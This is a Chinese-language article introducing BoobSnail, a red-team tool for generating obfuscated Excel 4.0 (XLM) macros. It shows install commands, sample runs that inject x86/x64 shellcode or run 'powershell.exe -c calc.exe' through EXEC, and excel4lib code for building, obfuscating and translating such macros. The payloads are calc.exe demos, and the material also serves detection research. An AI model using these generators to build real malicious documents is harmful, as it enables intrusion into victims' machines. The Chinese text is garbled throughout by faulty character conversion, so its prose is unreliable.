新聞中心
[[433420]]
關(guān)于BoobSnail
BoobSnail可以幫助廣大研究人員生成XLM(Excel 4.0)宏文件,該工具可以在XLM宏生成任務(wù)中給紅隊(duì)和藍(lán)隊(duì)研究人員提供幫助。該工具支持的功能如下:

- 各種感染技術(shù);
- 各種代碼混淆技術(shù);
- 將公式翻譯成英語(yǔ)以外的語(yǔ)言;
- 可當(dāng)作代碼庫(kù)使用,以便研究人員編寫(xiě)自己的生成器;
工具下載
廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:
- git clone https://github.com/STMCyber/boobsnail.git
工具依賴
BoobSnail基于Python 3開(kāi)發(fā),因此我們需要在本地設(shè)備上安裝并配置好Python
3.8.7rc1環(huán)境。接下來(lái),運(yùn)行下列命令安裝該工具所需依賴組件:
- pip install -r requirements.txt
- python boobsnail.py
- ___. ___. _________ .__.__
- \_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
- | __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
- | \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
- |___ /\____/ \____/|___ /_______ /___| (____ /__|____/
- \/ \/ \/ \/ \/
- Author: @_mzer0 @stm_cyber
- (...)
工具使用
- python boobsnail.py
-h
顯示可用的生成器類型:
- python boobsnail.py
工具使用樣例
生成注入了x64或x86 Shellcode的經(jīng)過(guò)代碼混淆處理的宏:
- python boobsnail.py Excel4NtDonutGenerator --inputx86
--inputx64 --out boobsnail.csv
生成能夠運(yùn)行calc.exe的經(jīng)過(guò)代碼混淆處理的宏:
- python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
代碼庫(kù)使用
BoobSnail使用了excel4lib庫(kù)來(lái)支持創(chuàng)建我們自己的Excel4宏生成器。excel4lib庫(kù)包含了幾個(gè)類,可以在創(chuàng)建生成器的過(guò)程中使用:
- macro.Excel4Macro:允許定義Excel4公式和變量值;
- macro.obfuscator.Excel4Obfuscator:允許對(duì)Excel4宏中的指令代碼進(jìn)行混淆處理;
- lang.Excel4Translator:允許將公式轉(zhuǎn)譯為其他語(yǔ)言;
下面給出的例子中將創(chuàng)建一個(gè)能夠運(yùn)行calc.exe的簡(jiǎn)單宏:
- from excel4lib.macro import *
- # Create macro object
- macro = Excel4Macro("test.csv")
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
結(jié)果如下:
- cmd="calc.exe";
- =EXEC(cmd);
如果你想對(duì)宏進(jìn)行混淆處理,則需要導(dǎo)入混淆工具并傳遞給Excel4Macro對(duì)象:
- from excel4lib.macro import *
- from excel4lib.macro.obfuscator import *
- # Create macro object
- macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
如需將你的宏轉(zhuǎn)譯為其他語(yǔ)言,假設(shè)為波蘭語(yǔ)(當(dāng)前該工具僅支持英語(yǔ)和波蘭語(yǔ)),我們則需要導(dǎo)入Excel4Translator類,并調(diào)用set_language方法:
- from excel4lib.macro import *
- from excel4lib.lang.excel4_translator import *
- # Change language
- Excel4Translator.set_language("pl_PL")
- # Create macro object
- macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
結(jié)果如下:
- cmd="calc.exe";
- =URUCHOM.PROGRAM(cmd);
如果你需要?jiǎng)?chuàng)建一個(gè)能將其他公式作為接收參數(shù)的公式,則需要使用Excel4Macro.argument函數(shù):
- from excel4lib.macro import *
- macro = Excel4Macro("test.csv")
- # Add variable called cmd with value "calc" to the worksheet
- cmd_1 = macro.variable("cmd", "calc")
- # Add cell containing .exe as value
- cmd_2 = macro.value(".exe")
- # Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
- exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
- macro.formula("EXEC", exec_arg)
- # Dump to CSV
- print(macro.to_csv())
結(jié)果如下:
- cmd="calc";
- .exe;
- =EXEC(CONCATENATE(cmd,R2C1));
項(xiàng)目地址
BoobSnail:【GitHub傳送門(mén)】
分享題目:如何使用BoobSnail生成任意Excel4.0XLM宏文件
當(dāng)前網(wǎng)址:http://m.5511xx.com/article/dphppij.html


咨詢
建站咨詢
